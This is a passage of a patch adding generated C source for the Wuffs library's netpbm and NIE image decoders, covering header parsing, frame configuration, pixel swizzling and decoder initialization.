++ continue; ++ } else if ((v_c8 < 48u) || (57u < v_c8)) { ++ status = wuffs_base__make_status(wuffs_netpbm__error__bad_header); ++ goto exit; ++ } ++ self->private_impl.f_height = ((uint32_t)(((uint8_t)(v_c8 - 48u)))); ++ break; ++ } ++ while (true) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(9); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_8 = *iop_a_src++; ++ v_c8 = t_8; ++ } ++ if ((v_c8 == 32u) || (v_c8 == 9u) || (v_c8 == 13u)) { ++ continue; ++ } else if (v_c8 == 10u) { ++ break; ++ } else if ((v_c8 < 48u) || (57u < v_c8)) { ++ status = wuffs_base__make_status(wuffs_netpbm__error__bad_header); ++ goto exit; ++ } ++ v_n = ((10u * self->private_impl.f_height) + ((uint32_t)(((uint8_t)(v_c8 - 48u))))); ++ if (v_n > 16777215u) { ++ status = wuffs_base__make_status(wuffs_netpbm__error__unsupported_netpbm_file); ++ goto exit; ++ } ++ self->private_impl.f_height = v_n; ++ } ++ while (true) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(10); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_9 = *iop_a_src++; ++ v_c8 = t_9; ++ } ++ if ((v_c8 == 32u) || (v_c8 == 9u)) { ++ continue; ++ } else if (v_c8 == 35u) { ++ while (true) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(11); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_10 = *iop_a_src++; ++ v_c8 = t_10; ++ } ++ if (v_c8 == 10u) { ++ break; ++ } ++ } ++ continue; ++ } else if ((v_c8 < 48u) || (57u < v_c8)) { ++ status = wuffs_base__make_status(wuffs_netpbm__error__bad_header); ++ goto exit; ++ } ++ self->private_impl.f_max_value = ((uint32_t)(((uint8_t)(v_c8 - 48u)))); ++ break; ++ } ++ while (true) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(12); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_11 = *iop_a_src++; ++ v_c8 = t_11; ++ } ++ if ((v_c8 == 32u) || (v_c8 == 9u) || (v_c8 == 13u)) { ++ continue; ++ } else if (v_c8 == 10u) { ++ break; ++ } else if ((v_c8 < 48u) || (57u < v_c8)) { ++ status = wuffs_base__make_status(wuffs_netpbm__error__bad_header); ++ goto exit; ++ } ++ v_n = ((10u * self->private_impl.f_max_value) + ((uint32_t)(((uint8_t)(v_c8 - 48u))))); ++ if (v_n > 16777215u) { ++ status = wuffs_base__make_status(wuffs_netpbm__error__unsupported_netpbm_file); ++ goto exit; ++ } ++ self->private_impl.f_max_value = v_n; ++ } ++ if (self->private_impl.f_max_value != 255u) { ++ status = wuffs_base__make_status(wuffs_netpbm__error__unsupported_netpbm_file); ++ goto exit; ++ } ++ self->private_impl.f_frame_config_io_position = wuffs_base__u64__sat_add((a_src ? a_src->meta.pos : 0), ((uint64_t)(iop_a_src - io0_a_src))); ++ if (a_dst != NULL) { ++ wuffs_base__image_config__set( ++ a_dst, ++ self->private_impl.f_pixfmt, ++ 0u, ++ self->private_impl.f_width, ++ self->private_impl.f_height, ++ self->private_impl.f_frame_config_io_position, ++ false); ++ } ++ self->private_impl.f_call_sequence = 32u; ++ ++ goto ok; ++ ok: ++ self->private_impl.p_do_decode_image_config = 0; ++ goto exit; ++ } ++ ++ goto suspend; ++ suspend: ++ self->private_impl.p_do_decode_image_config = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ ++ goto exit; ++ exit: ++ if (a_src && a_src->data.ptr) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ ++ return status; ++} ++ ++// -------- func netpbm.decoder.decode_frame_config ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_netpbm__decoder__decode_frame_config( ++ wuffs_netpbm__decoder* self, ++ wuffs_base__frame_config* a_dst, ++ wuffs_base__io_buffer* a_src) { ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__make_status( ++ (self->private_impl.magic == WUFFS_BASE__DISABLED) ++ ? wuffs_base__error__disabled_by_previous_error ++ : wuffs_base__error__initialize_not_called); ++ } ++ if (!a_src) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ return wuffs_base__make_status(wuffs_base__error__bad_argument); ++ } ++ if ((self->private_impl.active_coroutine != 0) && ++ (self->private_impl.active_coroutine != 2)) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); ++ } ++ self->private_impl.active_coroutine = 0; ++ wuffs_base__status status = wuffs_base__make_status(NULL); ++ ++ wuffs_base__status v_status = wuffs_base__make_status(NULL); ++ ++ uint32_t coro_susp_point = self->private_impl.p_decode_frame_config; ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ ++ while (true) { ++ { ++ wuffs_base__status t_0 = wuffs_netpbm__decoder__do_decode_frame_config(self, a_dst, a_src); ++ v_status = t_0; ++ } ++ if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { ++ status = wuffs_base__make_status(wuffs_netpbm__error__truncated_input); ++ goto exit; ++ } ++ status = v_status; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); ++ } ++ ++ ok: ++ self->private_impl.p_decode_frame_config = 0; ++ goto exit; ++ } ++ ++ goto suspend; ++ suspend: ++ self->private_impl.p_decode_frame_config = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 2 : 0; ++ ++ goto exit; ++ exit: ++ if (wuffs_base__status__is_error(&status)) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ } ++ return status; ++} ++ ++// -------- func netpbm.decoder.do_decode_frame_config ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_netpbm__decoder__do_decode_frame_config( ++ wuffs_netpbm__decoder* self, ++ wuffs_base__frame_config* a_dst, ++ wuffs_base__io_buffer* a_src) { ++ wuffs_base__status status = wuffs_base__make_status(NULL); ++ ++ const uint8_t* iop_a_src = NULL; ++ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_src && a_src->data.ptr) { ++ io0_a_src = a_src->data.ptr; ++ io1_a_src = io0_a_src + a_src->meta.ri; ++ iop_a_src = io1_a_src; ++ io2_a_src = io0_a_src + a_src->meta.wi; ++ } ++ ++ uint32_t coro_susp_point = self->private_impl.p_do_decode_frame_config; ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ ++ if (self->private_impl.f_call_sequence == 32u) { ++ } else if (self->private_impl.f_call_sequence < 32u) { ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ status = wuffs_netpbm__decoder__do_decode_image_config(self, NULL, a_src); ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ if (status.repr) { ++ goto suspend; ++ } ++ } else if (self->private_impl.f_call_sequence == 40u) { ++ if (self->private_impl.f_frame_config_io_position != wuffs_base__u64__sat_add((a_src ? a_src->meta.pos : 0), ((uint64_t)(iop_a_src - io0_a_src)))) { ++ status = wuffs_base__make_status(wuffs_base__error__bad_restart); ++ goto exit; ++ } ++ } else if (self->private_impl.f_call_sequence == 64u) { ++ self->private_impl.f_call_sequence = 96u; ++ status = wuffs_base__make_status(wuffs_base__note__end_of_data); ++ goto ok; ++ } else { ++ status = wuffs_base__make_status(wuffs_base__note__end_of_data); ++ goto ok; ++ } ++ if (a_dst != NULL) { ++ wuffs_base__frame_config__set( ++ a_dst, ++ wuffs_base__utility__make_rect_ie_u32( ++ 0u, ++ 0u, ++ self->private_impl.f_width, ++ self->private_impl.f_height), ++ ((wuffs_base__flicks)(0u)), ++ 0u, ++ self->private_impl.f_frame_config_io_position, ++ 0u, ++ false, ++ false, ++ 0u); ++ } ++ self->private_impl.f_call_sequence = 64u; ++ ++ ok: ++ self->private_impl.p_do_decode_frame_config = 0; ++ goto exit; ++ } ++ ++ goto suspend; ++ suspend: ++ self->private_impl.p_do_decode_frame_config = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ ++ goto exit; ++ exit: ++ if (a_src && a_src->data.ptr) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ ++ return status; ++} ++ ++// -------- func netpbm.decoder.decode_frame ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_netpbm__decoder__decode_frame( ++ wuffs_netpbm__decoder* self, ++ wuffs_base__pixel_buffer* a_dst, ++ wuffs_base__io_buffer* a_src, ++ wuffs_base__pixel_blend a_blend, ++ wuffs_base__slice_u8 a_workbuf, ++ wuffs_base__decode_frame_options* a_opts) { ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__make_status( ++ (self->private_impl.magic == WUFFS_BASE__DISABLED) ++ ? wuffs_base__error__disabled_by_previous_error ++ : wuffs_base__error__initialize_not_called); ++ } ++ if (!a_dst || !a_src) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ return wuffs_base__make_status(wuffs_base__error__bad_argument); ++ } ++ if ((self->private_impl.active_coroutine != 0) && ++ (self->private_impl.active_coroutine != 3)) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); ++ } ++ self->private_impl.active_coroutine = 0; ++ wuffs_base__status status = wuffs_base__make_status(NULL); ++ ++ wuffs_base__status v_status = wuffs_base__make_status(NULL); ++ ++ uint32_t coro_susp_point = self->private_impl.p_decode_frame; ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ ++ while (true) { ++ { ++ wuffs_base__status t_0 = wuffs_netpbm__decoder__do_decode_frame(self, ++ a_dst, ++ a_src, ++ a_blend, ++ a_workbuf, ++ a_opts); ++ v_status = t_0; ++ } ++ if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { ++ status = wuffs_base__make_status(wuffs_netpbm__error__truncated_input); ++ goto exit; ++ } ++ status = v_status; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); ++ } ++ ++ ok: ++ self->private_impl.p_decode_frame = 0; ++ goto exit; ++ } ++ ++ goto suspend; ++ suspend: ++ self->private_impl.p_decode_frame = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 3 : 0; ++ ++ goto exit; ++ exit: ++ if (wuffs_base__status__is_error(&status)) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ } ++ return status; ++} ++ ++// -------- func netpbm.decoder.do_decode_frame ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_netpbm__decoder__do_decode_frame( ++ wuffs_netpbm__decoder* self, ++ wuffs_base__pixel_buffer* a_dst, ++ wuffs_base__io_buffer* a_src, ++ wuffs_base__pixel_blend a_blend, ++ wuffs_base__slice_u8 a_workbuf, ++ wuffs_base__decode_frame_options* a_opts) { ++ wuffs_base__status status = wuffs_base__make_status(NULL); ++ ++ wuffs_base__status v_status = wuffs_base__make_status(NULL); ++ ++ uint32_t coro_susp_point = self->private_impl.p_do_decode_frame; ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ ++ if (self->private_impl.f_call_sequence == 64u) { ++ } else if (self->private_impl.f_call_sequence < 64u) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ status = wuffs_netpbm__decoder__do_decode_frame_config(self, NULL, a_src); ++ if (status.repr) { ++ goto suspend; ++ } ++ } else { ++ status = wuffs_base__make_status(wuffs_base__note__end_of_data); ++ goto ok; ++ } ++ self->private_impl.f_dst_x = 0u; ++ self->private_impl.f_dst_y = 0u; ++ v_status = wuffs_base__pixel_swizzler__prepare(&self->private_impl.f_swizzler, ++ wuffs_base__pixel_buffer__pixel_format(a_dst), ++ wuffs_base__pixel_buffer__palette(a_dst), ++ wuffs_base__utility__make_pixel_format(self->private_impl.f_pixfmt), ++ wuffs_base__utility__empty_slice_u8(), ++ a_blend); ++ if ( ! wuffs_base__status__is_ok(&v_status)) { ++ status = v_status; ++ if (wuffs_base__status__is_error(&status)) { ++ goto exit; ++ } else if (wuffs_base__status__is_suspension(&status)) { ++ status = wuffs_base__make_status(wuffs_base__error__cannot_return_a_suspension); ++ goto exit; ++ } ++ goto ok; ++ } ++ while (true) { ++ v_status = wuffs_netpbm__decoder__swizzle(self, a_dst, a_src); ++ if (wuffs_base__status__is_ok(&v_status)) { ++ break; ++ } else if (v_status.repr != wuffs_netpbm__note__internal_note_short_read) { ++ status = v_status; ++ if (wuffs_base__status__is_error(&status)) { ++ goto exit; ++ } else if (wuffs_base__status__is_suspension(&status)) { ++ status = wuffs_base__make_status(wuffs_base__error__cannot_return_a_suspension); ++ goto exit; ++ } ++ goto ok; ++ } ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(2); ++ } ++ self->private_impl.f_call_sequence = 96u; ++ ++ ok: ++ self->private_impl.p_do_decode_frame = 0; ++ goto exit; ++ } ++ ++ goto suspend; ++ suspend: ++ self->private_impl.p_do_decode_frame = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ ++ goto exit; ++ exit: ++ return status; ++} ++ ++// -------- func netpbm.decoder.swizzle ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_netpbm__decoder__swizzle( ++ wuffs_netpbm__decoder* self, ++ wuffs_base__pixel_buffer* a_dst, ++ wuffs_base__io_buffer* a_src) { ++ wuffs_base__status status = wuffs_base__make_status(NULL); ++ ++ wuffs_base__pixel_format v_dst_pixfmt = {0}; ++ uint32_t v_dst_bits_per_pixel = 0; ++ uint32_t v_dst_bytes_per_pixel = 0; ++ uint64_t v_dst_bytes_per_row = 0; ++ uint32_t v_src_bytes_per_pixel = 0; ++ wuffs_base__table_u8 v_tab = {0}; ++ wuffs_base__slice_u8 v_dst = {0}; ++ uint64_t v_i = 0; ++ uint64_t v_j = 0; ++ uint64_t v_n = 0; ++ ++ const uint8_t* iop_a_src = NULL; ++ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_src && a_src->data.ptr) { ++ io0_a_src = a_src->data.ptr; ++ io1_a_src = io0_a_src + a_src->meta.ri; ++ iop_a_src = io1_a_src; ++ io2_a_src = io0_a_src + a_src->meta.wi; ++ } ++ ++ v_dst_pixfmt = wuffs_base__pixel_buffer__pixel_format(a_dst); ++ v_dst_bits_per_pixel = wuffs_base__pixel_format__bits_per_pixel(&v_dst_pixfmt); ++ if ((v_dst_bits_per_pixel & 7u) != 0u) { ++ status = wuffs_base__make_status(wuffs_base__error__unsupported_option); ++ goto exit; ++ } ++ v_dst_bytes_per_pixel = (v_dst_bits_per_pixel / 8u); ++ v_dst_bytes_per_row = ((uint64_t)((self->private_impl.f_width * v_dst_bytes_per_pixel))); ++ v_tab = wuffs_base__pixel_buffer__plane(a_dst, 0u); ++ while (true) { ++ if (self->private_impl.f_dst_x == self->private_impl.f_width) { ++ self->private_impl.f_dst_x = 0u; ++ self->private_impl.f_dst_y += 1u; ++ if (self->private_impl.f_dst_y >= self->private_impl.f_height) { ++ break; ++ } ++ } ++ v_dst = wuffs_private_impl__table_u8__row_u32(v_tab, self->private_impl.f_dst_y); ++ if (v_dst_bytes_per_row < ((uint64_t)(v_dst.len))) { ++ v_dst = wuffs_base__slice_u8__subslice_j(v_dst, v_dst_bytes_per_row); ++ } ++ v_i = (((uint64_t)(self->private_impl.f_dst_x)) * ((uint64_t)(v_dst_bytes_per_pixel))); ++ if (v_i >= ((uint64_t)(v_dst.len))) { ++ v_src_bytes_per_pixel = 1u; ++ if (self->private_impl.f_pixfmt == 2684356744u) { ++ v_src_bytes_per_pixel = 3u; ++ } ++ v_n = (((uint64_t)(io2_a_src - iop_a_src)) / ((uint64_t)(v_src_bytes_per_pixel))); ++ v_n = wuffs_base__u64__min(v_n, ((uint64_t)(((uint32_t)(self->private_impl.f_width - self->private_impl.f_dst_x))))); ++ v_j = v_n; ++ while (v_j >= 8u) { ++ if (((uint64_t)(io2_a_src - iop_a_src)) >= ((uint64_t)((v_src_bytes_per_pixel * 8u)))) { ++ iop_a_src += (v_src_bytes_per_pixel * 8u); ++ } ++ v_j -= 8u; ++ } ++ while (v_j > 0u) { ++ if (((uint64_t)(io2_a_src - iop_a_src)) >= ((uint64_t)((v_src_bytes_per_pixel * 1u)))) { ++ iop_a_src += (v_src_bytes_per_pixel * 1u); ++ } ++ v_j -= 1u; ++ } ++ } else { ++ v_n = wuffs_base__pixel_swizzler__swizzle_interleaved_from_reader( ++ &self->private_impl.f_swizzler, ++ wuffs_base__slice_u8__subslice_i(v_dst, v_i), ++ wuffs_base__pixel_buffer__palette(a_dst), ++ &iop_a_src, ++ io2_a_src); ++ } ++ if (v_n == 0u) { ++ status = wuffs_base__make_status(wuffs_netpbm__note__internal_note_short_read); ++ goto ok; ++ } ++ wuffs_private_impl__u32__sat_add_indirect(&self->private_impl.f_dst_x, ((uint32_t)(v_n))); ++ } ++ status = wuffs_base__make_status(NULL); ++ goto ok; ++ ++ ok: ++ goto exit; ++ exit: ++ if (a_src && a_src->data.ptr) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ ++ return status; ++} ++ ++// -------- func netpbm.decoder.frame_dirty_rect ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__rect_ie_u32 ++wuffs_netpbm__decoder__frame_dirty_rect( ++ const wuffs_netpbm__decoder* self) { ++ if (!self) { ++ return wuffs_base__utility__empty_rect_ie_u32(); ++ } ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return wuffs_base__utility__empty_rect_ie_u32(); ++ } ++ ++ return wuffs_base__utility__make_rect_ie_u32( ++ 0u, ++ 0u, ++ self->private_impl.f_width, ++ self->private_impl.f_height); ++} ++ ++// -------- func netpbm.decoder.num_animation_loops ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC uint32_t ++wuffs_netpbm__decoder__num_animation_loops( ++ const wuffs_netpbm__decoder* self) { ++ if (!self) { ++ return 0; ++ } ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return 0; ++ } ++ ++ return 0u; ++} ++ ++// -------- func netpbm.decoder.num_decoded_frame_configs ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC uint64_t ++wuffs_netpbm__decoder__num_decoded_frame_configs( ++ const wuffs_netpbm__decoder* self) { ++ if (!self) { ++ return 0; ++ } ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return 0; ++ } ++ ++ if (self->private_impl.f_call_sequence > 32u) { ++ return 1u; ++ } ++ return 0u; ++} ++ ++// -------- func netpbm.decoder.num_decoded_frames ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC uint64_t ++wuffs_netpbm__decoder__num_decoded_frames( ++ const wuffs_netpbm__decoder* self) { ++ if (!self) { ++ return 0; ++ } ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return 0; ++ } ++ ++ if (self->private_impl.f_call_sequence > 64u) { ++ return 1u; ++ } ++ return 0u; ++} ++ ++// -------- func netpbm.decoder.restart_frame ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_netpbm__decoder__restart_frame( ++ wuffs_netpbm__decoder* self, ++ uint64_t a_index, ++ uint64_t a_io_position) { ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__make_status( ++ (self->private_impl.magic == WUFFS_BASE__DISABLED) ++ ? wuffs_base__error__disabled_by_previous_error ++ : wuffs_base__error__initialize_not_called); ++ } ++ ++ if (self->private_impl.f_call_sequence < 32u) { ++ return wuffs_base__make_status(wuffs_base__error__bad_call_sequence); ++ } ++ if ((a_index != 0u) || (a_io_position != self->private_impl.f_frame_config_io_position)) { ++ return wuffs_base__make_status(wuffs_base__error__bad_argument); ++ } ++ self->private_impl.f_call_sequence = 40u; ++ return wuffs_base__make_status(NULL); ++} ++ ++// -------- func netpbm.decoder.set_report_metadata ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__empty_struct ++wuffs_netpbm__decoder__set_report_metadata( ++ wuffs_netpbm__decoder* self, ++ uint32_t a_fourcc, ++ bool a_report) { ++ return wuffs_base__make_empty_struct(); ++} ++ ++// -------- func netpbm.decoder.tell_me_more ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_netpbm__decoder__tell_me_more( ++ wuffs_netpbm__decoder* self, ++ wuffs_base__io_buffer* a_dst, ++ wuffs_base__more_information* a_minfo, ++ wuffs_base__io_buffer* a_src) { ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__make_status( ++ (self->private_impl.magic == WUFFS_BASE__DISABLED) ++ ? wuffs_base__error__disabled_by_previous_error ++ : wuffs_base__error__initialize_not_called); ++ } ++ if (!a_dst || !a_src) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ return wuffs_base__make_status(wuffs_base__error__bad_argument); ++ } ++ if ((self->private_impl.active_coroutine != 0) && ++ (self->private_impl.active_coroutine != 4)) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); ++ } ++ self->private_impl.active_coroutine = 0; ++ wuffs_base__status status = wuffs_base__make_status(NULL); ++ ++ status = wuffs_base__make_status(wuffs_base__error__no_more_information); ++ goto exit; ++ ++ goto ok; ++ ok: ++ goto exit; ++ exit: ++ if (wuffs_base__status__is_error(&status)) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ } ++ return status; ++} ++ ++// -------- func netpbm.decoder.workbuf_len ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 ++wuffs_netpbm__decoder__workbuf_len( ++ const wuffs_netpbm__decoder* self) { ++ if (!self) { ++ return wuffs_base__utility__empty_range_ii_u64(); ++ } ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return wuffs_base__utility__empty_range_ii_u64(); ++ } ++ ++ return wuffs_base__utility__make_range_ii_u64(0u, 0u); ++} ++ ++#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__NETPBM) ++ ++#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__NIE) ++ ++// ---------------- Status Codes Implementations ++ ++const char wuffs_nie__error__bad_header[] = "#nie: bad header"; ++const char wuffs_nie__error__truncated_input[] = "#nie: truncated input"; ++const char wuffs_nie__error__unsupported_nie_file[] = "#nie: unsupported NIE file"; ++const char wuffs_nie__note__internal_note_short_read[] = "@nie: internal note: short read"; ++ ++// ---------------- Private Consts ++ ++// ---------------- Private Initializer Prototypes ++ ++// ---------------- Private Function Prototypes ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_nie__decoder__do_decode_image_config( ++ wuffs_nie__decoder* self, ++ wuffs_base__image_config* a_dst, ++ wuffs_base__io_buffer* a_src); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_nie__decoder__do_decode_frame_config( ++ wuffs_nie__decoder* self, ++ wuffs_base__frame_config* a_dst, ++ wuffs_base__io_buffer* a_src); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_nie__decoder__do_decode_frame( ++ wuffs_nie__decoder* self, ++ wuffs_base__pixel_buffer* a_dst, ++ wuffs_base__io_buffer* a_src, ++ wuffs_base__pixel_blend a_blend, ++ wuffs_base__slice_u8 a_workbuf, ++ wuffs_base__decode_frame_options* a_opts); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_nie__decoder__swizzle( ++ wuffs_nie__decoder* self, ++ wuffs_base__pixel_buffer* a_dst, ++ wuffs_base__io_buffer* a_src); ++ ++// ---------------- VTables ++ ++const wuffs_base__image_decoder__func_ptrs ++wuffs_nie__decoder__func_ptrs_for__wuffs_base__image_decoder = { ++ (wuffs_base__status(*)(void*, ++ wuffs_base__pixel_buffer*, ++ wuffs_base__io_buffer*, ++ wuffs_base__pixel_blend, ++ wuffs_base__slice_u8, ++ wuffs_base__decode_frame_options*))(&wuffs_nie__decoder__decode_frame), ++ (wuffs_base__status(*)(void*, ++ wuffs_base__frame_config*, ++ wuffs_base__io_buffer*))(&wuffs_nie__decoder__decode_frame_config), ++ (wuffs_base__status(*)(void*, ++ wuffs_base__image_config*, ++ wuffs_base__io_buffer*))(&wuffs_nie__decoder__decode_image_config), ++ (wuffs_base__rect_ie_u32(*)(const void*))(&wuffs_nie__decoder__frame_dirty_rect), ++ (uint64_t(*)(const void*, ++ uint32_t))(&wuffs_nie__decoder__get_quirk), ++ (uint32_t(*)(const void*))(&wuffs_nie__decoder__num_animation_loops), ++ (uint64_t(*)(const void*))(&wuffs_nie__decoder__num_decoded_frame_configs), ++ (uint64_t(*)(const void*))(&wuffs_nie__decoder__num_decoded_frames), ++ (wuffs_base__status(*)(void*, ++ uint64_t, ++ uint64_t))(&wuffs_nie__decoder__restart_frame), ++ (wuffs_base__status(*)(void*, ++ uint32_t, ++ uint64_t))(&wuffs_nie__decoder__set_quirk), ++ (wuffs_base__empty_struct(*)(void*, ++ uint32_t, ++ bool))(&wuffs_nie__decoder__set_report_metadata), ++ (wuffs_base__status(*)(void*, ++ wuffs_base__io_buffer*, ++ wuffs_base__more_information*, ++ wuffs_base__io_buffer*))(&wuffs_nie__decoder__tell_me_more), ++ (wuffs_base__range_ii_u64(*)(const void*))(&wuffs_nie__decoder__workbuf_len), ++}; ++ ++// ---------------- Initializer Implementations ++ ++wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT ++wuffs_nie__decoder__initialize( ++ wuffs_nie__decoder* self, ++ size_t sizeof_star_self, ++ uint64_t wuffs_version, ++ uint32_t options){ ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if (sizeof(*self) != sizeof_star_self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_sizeof_receiver); ++ } ++ if (((wuffs_version >> 32) != WUFFS_VERSION_MAJOR) || ++ (((wuffs_version >> 16) & 0xFFFF) > WUFFS_VERSION_MINOR)) { ++ return wuffs_base__make_status(wuffs_base__error__bad_wuffs_version); ++ } ++ ++ if ((options & WUFFS_INITIALIZE__ALREADY_ZEROED) != 0) { ++ // The whole point of this if-check is to detect an uninitialized *self. ++ // We disable the warning on GCC. Clang-5.0 does not have this warning. ++#if !defined(__clang__) && defined(__GNUC__) ++#pragma GCC diagnostic push ++#pragma GCC diagnostic ignored "-Wmaybe-uninitialized" ++#endif ++ if (self->private_impl.magic != 0) { ++ return wuffs_base__make_status(wuffs_base__error__initialize_falsely_claimed_already_zeroed); ++ } ++#if !defined(__clang__) && defined(__GNUC__) ++#pragma GCC diagnostic pop ++#endif ++ } else { ++ if ((options & WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED) == 0) { ++ memset(self, 0, sizeof(*self)); ++ options |= WUFFS_INITIALIZE__ALREADY_ZEROED; ++ } else { ++ memset(&(self->private_impl), 0, 